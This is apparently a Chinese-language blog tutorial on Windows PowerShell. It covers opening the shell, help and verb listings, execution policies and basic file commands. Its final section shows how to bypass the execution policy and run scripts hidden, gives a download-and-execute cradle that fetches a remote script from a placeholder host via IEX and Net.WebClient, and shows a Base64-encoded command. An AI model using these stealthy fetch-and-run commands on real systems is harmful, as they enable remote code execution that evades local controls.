什么是PowerShell:
Windows PowerShell 是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用 .NET Framework 的強大功能。PowerShell是命令提示符的更高級版本。 它用於執行諸如 ping 或 copy 之類的外部程序,並自動執行無法從 cmd.exe 訪問的不同系統管理任務。
PowerShell與cmd的區別:
PowerShell與Bash Shell比較:
如何打開PowerShell:
在Windows下方的搜索處,直接搜索打開
按 win + R 輸入PowerShell打開
打開此電腦,點擊左上方文件,找到PowerShell打開
在你需要打開的文件路徑下,按Shift + 鼠標右鍵,選擇打開PowerShell 可在PowerShell中快速打開文件路徑
PowerShell常用命令:
在PowerShell下的命令,均采用 “名詞+動詞” 的形式
查看幫助:help ,查看版本: get-host , 查看動詞: get-verb
PS D:\study> help
主題
Windows PowerShell 幫助系統
簡短說明
顯示有關 Windows PowerShell 的 cmdlet 及概念的幫助。
詳細說明
“Windows PowerShell 幫助”介紹了 Windows PowerShell 的 cmdlet、
函數、腳本及模塊,並解釋了
Windows PowerShell 語言的元素等概念。
Windows PowerShell 中不包含幫助文件,但你可以聯機參閱
幫助主題,或使用 Update-Help cmdlet 將幫助文件下載
到你的計算機中,然后在命令行中使用 Get-Help cmdlet 來顯示幫助
主題。
你也可以使用 Update-Help cmdlet 在該網站發布了更新的幫助文件時下載它們,
這樣,你的本地幫助內容便永遠都不會過時。
如果沒有幫助文件,Get-Help 會顯示自動生成的有關 cmdlet、
函數及腳本的幫助。
聯機幫助
你可以在 TechNet 庫中找到有關 Windows PowerShell 的聯機幫助,
網址為 http://go.microsoft.com/fwlink/?LinkID=108518。
若要打開有關任一 cmdlet 或函數的聯機幫助,請鍵入:
Get-Help <cmdlet-name> -Online
-- More --
PS D:\study> Get-Host
Name : ConsoleHost
Version : 5.1.17763.1007
InstanceId : b17b657c-366a-4efa-a95f-a4ba89884117
UI : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture : zh-CN
CurrentUICulture : zh-CN
PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled : True
IsRunspacePushed : False
Runspace : System.Management.Automation.Runspaces.LocalRunspace
PS D:\study> Get-Verb
Verb Group
---- -----
Add Common
Clear Common
Close Common
Copy Common
Enter Common
Exit Common
Find Common
Format Common
Get Common
Hide Common
Join Common
Lock Common
Move Common
New Common
Open Common
Optimize Common
Pop Common
Push Common
Redo Common
Remove Common
Rename Common
Reset Common
Resize Common
Search Common
Select Common
Set Common
Show Common
Skip Common
Split Common
Step Common
Switch Common
Undo Common
Unlock Common
Watch Common
Backup Data
Checkpoint Data
Compare Data
Compress Data
Convert Data
ConvertFrom Data
ConvertTo Data
Dismount Data
Edit Data
Expand Data
Export Data
Group Data
Import Data
Initialize Data
Limit Data
Merge Data
Mount Data
Out Data
Publish Data
Restore Data
Save Data
Sync Data
Unpublish Data
Update Data
Approve Lifecycle
Assert Lifecycle
Complete Lifecycle
Confirm Lifecycle
Deny Lifecycle
Disable Lifecycle
Enable Lifecycle
Install Lifecycle
Invoke Lifecycle
Register Lifecycle
Request Lifecycle
Restart Lifecycle
Resume Lifecycle
Start Lifecycle
Stop Lifecycle
Submit Lifecycle
Suspend Lifecycle
Uninstall Lifecycle
Unregister Lifecycle
Wait Lifecycle
Debug Diagnostic
Measure Diagnostic
Ping Diagnostic
Repair Diagnostic
Resolve Diagnostic
Test Diagnostic
Trace Diagnostic
Connect Communications
Disconnect Communications
Read Communications
Receive Communications
Send Communications
Write Communications
Block Security
Grant Security
Protect Security
Revoke Security
Unblock Security
Unprotect Security
Use Other
設置PowerShell策略
Powershell一般初始化情況下都會禁止腳本執行。腳本能否執行取決於Powershell的執行策略。
默認執行策略為“Restricted”。
- 當執行策略為 Restricted 時:
win8 ,win10 中默認執行 Restricted 的策略。允許單獨的命令,但不會運行腳本。阻止所有腳本文件的運行。包括格式設置文件和配置文件 (.ps1xml)、模塊腳本文件 (.psm1) 和 Windows PowerShell 配置文件 (.ps1)。 - 當執行策略為 AllSigned 時:
腳本可以運行。要求所有腳本和配置文件都由受信任的發布者簽名,包括在本地計算機上編寫的腳本。會在運行來自某類發布者(即你尚未歸類為受信任或不受信任的發布者)的腳本之前提示你。存在運行已簽名但卻是惡意的腳本的風險。 - 當執行策略為 REMOTESIGNED 時:
腳本可以運行。要求從 Internet 下載的腳本和配置文件(包括電子郵件和即時消息程序)具有受信任的發布者的數字簽名。不要求你在本地計算機上編寫的腳本(不是從 Internet 下載的)具有數字簽名。如果腳本已被取消阻止(比如通過使用 Unblock-File cmdlet),則運行從 Internet 下載但未簽名的腳本。存在運行來自 Internet 之外的未簽名腳本和已簽名但卻是惡意的腳本的風險。 - 當執行策略為 UNRESTRICTED 時:
未簽名的腳本可以運行。(這存在運行惡意腳本的風險。)在運行從 Internet 下載的腳本和配置文件之前提醒用戶。 - 當執行策略為 BYPASS 時:
不阻止任何內容,並且沒有任何警告或提示。該執行策略旨在用於后述配置:在其中 Windows PowerShell 被內置於一個更大的應用程序中,或者在其中 Windows PowerShell 是具有其自己安全模式的程序的基礎。 - 當執行策略為 UNDEFINED 時:
當前作用域中未設置執行策略。如果所有作用域中的執行策略都是 Undefined,則有效的執行策略是 Restricted,它是默認執行策略。
PS C:\Users\Riy> [System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy]) # 查看腳本執行策略
Unrestricted
RemoteSigned
AllSigned
Restricted
Default
Bypass
Undefined
PS C:\Users\Riy> Get-ExecutionPolicy # 查看當前腳本執行策略
Restricted
PS C:\Users\Riy> Set-ExecutionPolicy Unrestricted # 更改腳本執行策略,這里報錯是因為沒有使用管理員權限打開PowerShell
Set-ExecutionPolicy : 對注冊表項“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\
Microsoft.PowerShell”的訪問被拒絕。 要更改默認(LocalMachine)作用域的執行策略,請使用“以管理
員身份運行”選項啟動 Windows PowerShell。要更改當前用戶的執行策略,請運行 "Set-ExecutionPolicy
-Scope CurrentUser"。
所在位置 行:1 字符: 1
+ Set-ExecutionPolicy Unrestricted
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (:) [Set-ExecutionPolicy], UnauthorizedAccess
Exception
+ FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Command
s.SetExecutionPolicyCommand
# 使用管理員權限打開PowerShell
PS C:\WINDOWS\system32> Set-ExecutionPolicy Undefined
執行策略更改
執行策略可幫助你防止執行不信任的腳本。更改執行策略可能會產生安全風險,如
https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies
幫助主題所述。是否要更改執行策略?
[Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暫停(S) [?] 幫助 (默認值為“N”): y
文件操作常用命令:
- 新鍵目錄: New-Item -Name 'test' -ItemType 'directory'
- 新建文件: New-Item -Name 'test.txt'
- 刪除目錄或文件: Remove-Item test.txt
- 顯示文本內容: Get-Content test.txt
- 設置文本內容: Set-Content test.txt -Value 'Hello World'
- 追加文本內容: Add-Content test.txt -Value 'Love World'
- 清除文本內容: Clear-Content test.txt
PS D:\study> New-Item -Name 'test' -ItemType 'directory' # 新建目錄
目錄: D:\study
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2020/3/28 0:24 test
PS D:\study> New-Item -Name 'test.txt' # 新建文件
目錄: D:\study
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2020/3/28 0:24 0 test.txt
PS D:\study> Set-Content test.txt -Value 'Hello World' # 設置文本內容
PS D:\study> Get-Content test.txt # 顯示文本內容
Hello World
PS D:\study> Add-Content test.txt -Value 'Love World' # 追加文本內容
PS D:\study> Get-Content test.txt
Hello World
Love World
PS D:\study> Clear-Content test.txt # 清除文本內容
PS D:\study> Get-Content test.txt
PS D:\study> Remove-Item test # 刪除文件或目錄
繞過本地權限執行腳本
PS D:\study> '"Hello World"' > test.ps1
PS D:\study> .\test.ps1
.\test.ps1 : 無法加載文件 D:\study\test.ps1,因為在此系統上禁止運行腳本。有關詳細信息,請參閱
https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。
所在位置 行:1 字符: 1
+ .\test.ps1
+ ~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [],PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -File test.ps1
Hello World
繞過本地權限執行腳本,並隱藏執行,只有后台能看到腳本正在運行
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File test.ps1
PowerShell下載腳本繞過本地權限並執行
c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -noni IEX (New-Object Net.WebClient).DownloadString('http://xxxx/test.ps1')
Hello World
7、使用Base64對PowerShell命令進行編碼
c:\Windows\System32>powershell.exe -EncodedCommand dwBoAG8AYQBtAGkACgA=
laptop-9r39s2hi\riy